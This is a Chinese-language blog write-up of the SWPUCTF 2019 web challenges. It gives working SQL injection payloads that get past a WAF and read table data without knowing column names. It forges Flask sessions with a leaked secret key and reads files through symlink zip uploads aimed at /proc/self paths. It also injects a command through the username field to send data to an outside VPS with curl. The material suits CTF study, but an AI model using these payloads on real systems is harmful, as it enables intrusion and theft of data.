SWPUCTF-web2019

1.前言

这个比赛没怎么打,比赛为了多拿些分,基本都是在做杂项…..web交给队里的大佬在做(毕竟做web我也帮不上什么忙233333)…..

这个比赛五题杂项,解了四题,题目傻的一批,倒是web解出的人少了很多,学长也是真的厉害…..

swpuCTF复现现场…..

2.复现现场

2.1web1

1576033916267

登录后申请一个广告,广告名为cookie’,当我们查看广告详情的时候:

1576034046630

报错了,所以这里是存在sql注入的.尝试联合注入,因为我发现#,–+等关键词被waf掉了.

然后尝试联合注入,这里union,select 是没有被过滤掉的.

1576035336522

然后多次尝试后…

1576035492215

发现字段有22个….然后2,3位可回显

1576035649829

注表名:

1
title=test'/**/union/**/select/**/1,(select/**/group_concat(distinct/**/ table_name)/**/from/**/ mysql.innodb_index_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add

1576036433226

另外参考学长的payload如下:

用 sys.schema_auto_increment_columns 来注表名

1
2
3
title=ad'/**/union/**/select/**/1,
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,
10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add

但是无法得到列名,因为information被waf了,然后这里学到一个新技巧:无列名注入的方法

payload如下:

1
2
3
title=ad'/**/union/**/select/**/1,
(select/**/a.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a/**/limit/*
*/1,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,1,'1&content=1&ac=add

1576037269366

2.2web3

考察python的secret-key泄露

打开题目是一个登录框,随便弄个用户名登录后,burp抓包看到一个session

对此session进行解密
1576132809834

然后把100修改成1 ,进行加密试试,但是加密需要secret-key

根据提示

1
2
3
<!--
404 not found
-->

访问一个不存在的页面试试,返回一个token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

对此进行加密

1576133030207

伪造session越权.

在注释里获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

源码的意思差不多就是我们上传一个zip包然后会后台解zip包读取zip包中的内容,我们上传软链接压缩包

关于软链接的知识:https://blog.csdn.net/m290345792/article/details/78518360

看代码可以猜测flag在./flag/flag.jpg,但是我们并不知道正确的文件位置,在 linux 中, /proc/self/cwd/ 会指向进程的当前目目录.所以使用/proc/self/cwd/flag/flag.jpg来代替真正的文件位置.

创建软链接压缩包:

1
2
ln -s /proc/self/cwd/flag/flag.jpg qwe
zip -ry qwe.zip qwe

上传软链接压缩包,并且将session改成我们伪造的session.

1576205724920

预期解中还有一个解法:

在 linux 中, /proc/self/environ 文文件里里里包含了了进程的环境变量量,可以从中获取 flask 应用用的绝对路路径,再通过绝对路路径制作软链接来读取 flag.jpg (PS:在浏览器器中,我们无无法直接看到 /proc/self/environ 的内容,只需要下载到本地,用用 notepad++打开即可)

命令如下:

1
2
3
4
ln -s /proc/self/environ qqq
zip -ry qqq.zip qqq
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg www
zip -ry [www.zip](http://www.zip) www

这个我试了,没有成功

1576209377564

就到这一步了,我没有找到flask的绝对路径

再提供一个非常骚的非预期解

在源码中有这么一段:

1
2
3
4
5
        cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)

其中:

1
2
3
4
5
6
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename

这里的path是我们可控的,由于session[‘username’]是我们可控的

那我们可以让cmd长成这样:

1
unzip -n -d + & curl vps:8888# +pathname

那么我们在vps上监听8888端口,使用curl就能带出信息,构造用户名为& curl vps:8888#

附上学长的wp:

1576210009908

1576210067933

1576210131779

2.3web4

进入靶机后,还是一个登录框.

Author: 我是小吴啦
Link: http://yoursite.com/2019/12/11/SWPUCTF-web2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.